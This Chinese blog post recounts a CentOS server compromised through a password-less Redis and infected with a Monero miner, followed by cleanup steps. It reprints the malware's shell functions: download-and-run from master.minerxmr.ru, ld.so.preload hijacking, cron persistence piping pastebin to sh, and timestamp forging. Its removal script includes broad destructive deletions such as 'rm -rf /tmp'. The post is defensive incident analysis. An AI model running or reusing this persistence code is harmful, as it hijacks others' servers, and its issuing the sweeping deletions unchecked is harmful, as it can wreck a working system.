Centos 7.4 服務器 被植入挖礦木馬


背景

最近由於在弄springboot shiro的redis session共享的問題,所以在服務器上部署了redis,因為沒有太多的考慮所以沒有設置密碼。

等到第二天的時候,發現redis外網無法訪問內網可以。

查看端口綁定情況  netstat -antlp | grep 6379 發現綁定沒有問題

查看本地的路由,發現綁定到了127.0.0.1

發現綁定問題之后,就增加一條路由規則

iptables -I INPUT -p tcp --dport 6379 -j ACCEPT

病毒代碼

function tables() {
    iptables -I INPUT -p TCP --dport 6379 -j REJECT
    iptables -I INPUT -s 127.0.0.1 -p tcp --dport 6379 -j ACCEPT
    iptables-save
    touch /tmp/.tables
}

增加了之后終於外網能訪問了,利用RedisDesktopManager 再次連接后,發現內容里面多了兩條定時任務,感覺很奇怪也沒在意,以為不是很大的問題,反正能用也沒在意。

終於第三天redis又不能訪問了,而且又增加了一條本地端口映射的路由規則。

感覺上服務器有一些問題,馬上看了下 服務器ssh登入的 authorized_keys文件,發現里面內容key增加了不少。

於是進行百度查詢相關的問題,根據描述基本可以確定中了挖礦木馬。

查看服務器的定時任務 crontab -l 始終會有一條定時任務,采用命令crontab -r 進行刪除,1分鍾后又會自動生成

 原理

采用定時任務腳本下載對應的執行程序,並將對應的程序命名成為 libdns.so

下面為部分的定時任務代碼

function top() {
   mkdir -p /usr/local/lib/
   if [ ! -f "/usr/local/lib/libdns.so" ]; then
   curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1539580368x-1566688371.jpg -o /usr/local/lib/libdns.so && chmod 755 /usr/local/lib/libdns.so
   if [ ! -f "/usr/local/lib/libdns.so" ]; then
   wget https://master.minerxmr.ru/y/1539580368x-1566688371.jpg -O /usr/local/lib/libdns.so && chmod 755 /usr/local/lib/libdns.so
   fi
   fi
   echo /usr/local/lib/libdns.so > /etc/ld.so.preload
   touch -acmr /bin/sh /etc/ld.so.preload
   touch -acmr /bin/sh /usr/local/lib/libdns.so
}

簡單點理解,只要你的定時任務不刪除,對應的程序就會下載,就會往本地電腦中添加定時任務

定時任務路徑

function echocron() {
    echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc/cron.d/root
    echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc/cron.d/apache
    echo -e "*/23 * * * *    (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron/root
    mkdir -p /var/spool/cron/crontabs
    echo -e "*/31 * * * *    (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron/crontabs/root
    mkdir -p /etc/cron.hourly
    curl -fsSL https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.hourly/oanacroner && chmod 755 /etc/cron.hourly/oanacroner
    if [ ! -f "/etc/cron.hourly/oanacroner" ]; then
        wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.hourly/oanacroner && chmod 755 /etc/cron.hourly/oanacroner
    fi
    mkdir -p /etc/cron.daily
    curl -fsSL https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.daily/oanacroner && chmod 755 /etc/cron.daily/oanacroner
    if [ ! -f "/etc/cron.daily/oanacroner" ]; then
        wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.daily/oanacroner && chmod 755 /etc/cron.daily/oanacroner
    fi
    mkdir -p /etc/cron.monthly
    curl -fsSL https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.monthly/oanacroner && chmod 755 /etc/cron.monthly/oanacroner
    if [ ! -f "/etc/cron.monthly/oanacroner" ]; then
        wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.monthly/oanacroner && chmod 755 /etc/cron.monthly/oanacroner
    fi
    touch -acmr /bin/sh /var/spool/cron/root
    touch -acmr /bin/sh /var/spool/cron/crontabs/root
    touch -acmr /bin/sh /etc/cron.d/apache
    touch -acmr /bin/sh /etc/cron.d/root
    touch -acmr /bin/sh /etc/cron.hourly/oanacroner
    touch -acmr /bin/sh /etc/cron.daily/oanacroner
    touch -acmr /bin/sh /etc/cron.monthly/oanacroner
}

 病毒程序代碼

function downloadrunxm() {
    mkdir -p /var/tmp
    chmod 1777 /var/tmp
    pm=$(netstat -an | grep :56415 | wc -l)
    if [ ${pm} -eq 0 ];then
        rm -rf /var/tmp/config.json*
        curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1539581805x1822611359.jpg -o /var/tmp/config.json && chmod +x /var/tmp/config.json
        if [ ! -f "/var/tmp/config.json" ]; then
            wget https://master.minerxmr.ru/y/1539581805x1822611359.jpg -O /var/tmp/config.json && chmod +x /var/tmp/config.json
        fi
        ARCH=$(uname -i)
        if [ "$ARCH" == "x86_64" ]; then
            rm -rf /var/tmp/kworkerds*
            curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1539592750x-1566688347.jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds
            if [ ! -f "/var/tmp/kworkerds" ]; then
                wget https://master.minerxmr.ru/y/1539592750x-1566688347.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds
            fi
            nohup /var/tmp/kworkerds >/dev/null 2>&1 &
        elif [ "$ARCH" == "i386" ]; then
            rm -rf /var/tmp/kworkerds*
            curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1537410750x-1566657908.jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds
            if [ ! -f "/var/tmp/kworkerds" ]; then
                wget https://master.minerxmr.ru/y/1537410750x-1566657908.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds
            fi
            nohup /var/tmp/kworkerds >/dev/null 2>&1 &
        else
            rm -rf /var/tmp/kworkerds*
            curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1537410304x-1404764882.jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds
            if [ ! -f "/var/tmp/kworkerds" ]; then
                wget https://master.minerxmr.ru/y/1537410304x-1404764882.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds
            fi
            nohup /var/tmp/kworkerds >/dev/null 2>&1 &
        fi
    fi
}

 

解決方案

1.排查用戶是否增加。有增加進行刪除(該概率比較小)

2.排查登入免密登入文件是否修改。如果服務器采用 sshkey登入,排查文件authorized_keys 中的key是否有增加(原理 具體詳見  ssh 免秘鑰登入服務器),最好進行原秘鑰登入刪除,進行更新,順便可以考慮更換一下ssh端口(建議,純粹為了系統安全,更改方式,詳見百度)

3.查看所有定時任務執行腳本,明確本地的程序。定時任務查看 crontab -l 查看服務器定時任務,定人任務中包含 wget 網址后面跟了  sh(忘記截圖,只能描述一下),然后根據定時任務中的網址進行瀏覽器訪問,會得到一大串的亂碼,將亂碼復制,然后粘貼到Base64解碼工具中進行解碼,可以獲得 定時任務執行的命令。然后分析對應個的腳本內容。會查看到本地的執行程序 libudev.so ,也可以看到腳本中增加了6379增加了本地路由規則,查看到程序后 進行刪除,不刪除程序,則會不斷增加定時任務到 系統中。(因為已經處理,所以不能配圖了)

4.刪除定時任務。1) crontab -r 刪除任務 2) cd /etc/cron.d  刪除apache,及root(經查看本次中的內容跟網上的不太一樣,這幾個文件中均有定時任務,所以進行了刪除)

5.查看進行。top -c 查看占用cup很高的進程(因為已經刪除所有不能進行配圖),查看到kworkerds 進行,路徑在 /tmp下。 kill -9 pid 進行殺死進行,然后進行目錄下進行刪除內容

 

 

腳本

 iptables -A INPUT -s xmr.crypto-pool.fr -j DROP
 iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP
 iptables -A INPUT -s pastebin.com -j DROP
 iptables -A OUTPUT -d pastebin.com -j DROP

rm -rf /bin/dns
crontab -r
rm -rf /etc/cron.d
rm -rf /etc/crontab
rm -rf /usr/local/lib/libdns.so
rm -rf /usr/local/lib/libdns.so
rm -rf /etc/ld.so.preload
rm -rf /tmp/.pythong
rm -rf /var/spool/cron
rm -rf /etc/cron.hourly
rm -rf /etc/cron.daily
rm -rf /etc/cron.monthly
rm -rf /tmp/.tables
rm -rf /etc/init.d/agentwatch
rm -rf /usr/sbin/aliyun-service
rm -rf /usr/local/aegis*
killall kworkerds
rm -rf /tmp/kworkerds
rm -rf /var/tmp/config.json
rm -rf /tmp

 

一段時間后發現 系統定時任務已經不會在增加,並且已經不純在高消耗cpu的進程了。

總結

  1.該問題如果需要完全解決,必須好好查看對應的定時任務下載並執行的腳本,而且發現該問題並不是一成不變的,在處理問題的時候發現與百度上描述的還是有很大的區別。

  2.給redis增加上安全控制(很重要)

 

轉載的話,請標明下出處 https://www.cnblogs.com/dyft/articles/9797664.html 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM